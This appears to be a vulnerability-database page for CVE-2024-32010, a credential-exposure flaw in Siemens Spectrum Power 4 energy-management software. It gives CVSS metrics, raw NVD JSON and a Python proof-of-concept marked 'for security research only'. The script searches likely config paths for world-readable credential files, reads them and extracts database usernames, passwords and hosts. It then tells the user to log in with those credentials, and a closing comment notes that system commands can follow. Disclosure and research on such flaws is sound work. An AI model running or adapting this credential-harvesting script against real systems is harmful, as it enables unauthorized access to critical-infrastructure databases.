Security Vulnerability Report
中文
CVE-2024-32010 CVSS 7.8 HIGH

CVE-2024-32010

Published: 2025-11-11 21:15:35
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to extraction of database credentials via a world-readable credential file. This allows an attacker to connect to the database as privileged application user and to run system commands via the database.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Siemens Spectrum Power 4 < V4.70 SP12 Update 2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-32010 PoC - Database Credential Extraction # Target: Siemens Spectrum Power 4 (versions < V4.70 SP12 Update 2) # Type: Local credential file read import os import re def find_credential_file(): """Search for world-readable credential files in common locations""" search_paths = [ '/opt/spectrum-power/config/', '/usr/local/spectrum-power/etc/', 'C:\\Program Files\\Siemens\\Spectrum Power\\config\\', os.path.expanduser('~/.spectrum-power/') ] credential_patterns = [ 'db_password', 'database.credentials', 'connection.properties', 'dbconfig.xml' ] found_credentials = [] for path in search_paths: if os.path.exists(path): for filename in os.listdir(path): filepath = os.path.join(path, filename) # Check if file is world-readable if os.access(filepath, os.R_OK): with open(filepath, 'r') as f: content = f.read() for pattern in credential_patterns: if pattern.lower() in filename.lower(): found_credentials.append({ 'file': filepath, 'content': content }) return found_credentials def extract_db_credentials(credential_file_content): """Extract database credentials from configuration file""" credentials = {} # Extract username user_match = re.search(r'(?:db_user|database.user|username)\s*=\s*([^"\s]+)', credential_file_content, re.IGNORECASE) if user_match: credentials['username'] = user_match.group(1) # Extract password pass_match = re.search(r'(?:db_password|database.pass|password)\s*=\s*([^"\s]+)', credential_file_content, re.IGNORECASE) if pass_match: credentials['password'] = pass_match.group(1) # Extract database host host_match = re.search(r'(?:db_host|database.host|server)\s*=\s*([^"\s]+)', credential_file_content, re.IGNORECASE) if host_match: credentials['host'] = host_match.group(1) return credentials # Main execution if __name__ == '__main__': print('[+] CVE-2024-32010 - Siemens Spectrum Power 4 Credential Extraction') print('[*] Searching for world-readable credential files...') creds = find_credential_file() if creds: print(f'[+] Found {len(creds)} potential credential files') for cred in creds: print(f'\n[*] File: {cred["file"]}') extracted = extract_db_credentials(cred['content']) if extracted: print(f'[+] Extracted credentials: {extracted}') print('[+] Use these credentials to connect to the database') else: print('[-] No world-readable credential files found') # Note: After obtaining credentials, attacker can connect to database # and execute system commands via stored procedures or custom functions

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-32010", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:35.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to extraction of database credentials via a world-readable credential file. This allows an attacker to connect to the database as privileged application user and to run system commands via the database."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-339694.html", "source": "[email protected]"}]}}